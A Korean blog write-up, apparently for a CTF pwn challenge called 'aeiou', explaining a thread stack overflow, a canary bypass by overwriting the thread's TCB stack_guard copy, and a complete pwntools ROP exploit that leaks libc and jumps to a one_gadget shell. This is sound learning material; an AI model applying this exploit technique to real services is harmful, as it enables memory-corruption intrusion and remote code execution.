간단하게 요약하면 취약점이 있는 함수는 3번 메뉴다.
3번 메뉴의 함수를 보면 pthread_create 함수로 start_routine이란 함수를 thread로 실행시킨다.
start_routine 함수를 보면 s변수의 크기는 '(rbp-0x1010) - 8' 만큼 있고,
getNumber()함수로 받은 수가 65536보다 작으면 vuln()함수를 실행시킨다.
vuln()함수는 a3만큼 a2에 read하는 함수다.
즉 여기서 overflow가 일어난다.
number를 65535 까지 입력할 수 있는데 아까 s변수는 rbp-0x1010-8이다 즉 4104 만큼이 s변수고 그 다음에 오버플로우로 ret까지 덮을 수 있다.
하지만 이 문제는 카나리가 있어서 우회를 하던가 leak을 해야 한다.
ptrhead함수에 의해 thread로 실행한 함수는 thread의 stack에 TLS(Thread Local Storage)를 사용하여 변수를 저장하고, 원래 카나리를 thread의 stack으로 복사한 후 카나리 체크를 할 때는 해당 스택으로 복사된 카나리와 비교를 한다고 한다.
만약 오버플로우로 복사된 카나리 값 까지 원하는 값으로 덮어 버리게 되면 내가 원하는 값이 카나리로 들어가게 되는 원리다.
우선 gdb로 카나리 값 전까지 입력을 준 다음 thread의 stack으로 복사된 TCB 구조체의 stack_guard 값을 find 명령으로 찾아보았다.
rbp-0x8에 있는 값이 카나리다.
stack에 위치한 카나리와 stack_guard의 거리는 0x7e0(2016)이다.
즉 카나리 부터 2016바이트까지 덮은 다음 8바이트를 원하는 값으로 채워주면 카나리를 우회할 수 있다.
이 원리를 이용해 rop를 했다.
from pwn import * #r = process("./aeiou", env={"LD_LIBRARY_PATH":"."}) r = process("./aeiou") elf = ELF('./aeiou') libc = ELF('./libc.so') pop_rdi = 0x4026f3 pop_rsi_r15 = 0x4026f1 pop_rsp = 0x4026ed puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_plt = elf.plt['read'] read_got = elf.got['read'] bss = elf.bss() + 0x200 payload = "\x00"*(0x1010-8) payload += "DDDD"*4 payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi_r15) payload += p64(bss) payload += p64(0) payload += p64(read_plt) payload += p64(pop_rsp) payload += p64(bss-0x18) payload += "D"*2000 r.sendlineafter(">>", "3") r.sendlineafter("Let me know the number!", str(len(payload))) r.send(payload) pause() r.recvuntil(":)\x0a") libc_puts = u64(r.recv(6).ljust(8, "\x00")) libc_base = libc_puts - libc.symbols['puts'] log.info("libc_puts = {}".format(hex(libc_puts))) one_gadget = libc_base + 0x4526a pause() r.sendline(p64(one_gadget)) r.interactive()
다른분의 라업을 보고 알았는데 bss에 oneshot 가젯의 주소를 read한 다음에 pop_rsp 가젯으로 bss영역을 실행하도록 하는 방법이 신박하다.
return to csu로 풀은 것도 봤는데 다음번에 써봐야겠다.
'CTF' 카테고리의 다른 글
BTH_CTF 2019 (0) | 2019.05.01 |
---|---|
plaid 2019 can you guess me? (0) | 2019.04.15 |
CSAW2016 tutorial (0) | 2019.02.01 |
TJCTF 2016 oneshot (0) | 2019.01.24 |
QIWICTF 2016 pwn200 (0) | 2019.01.23 |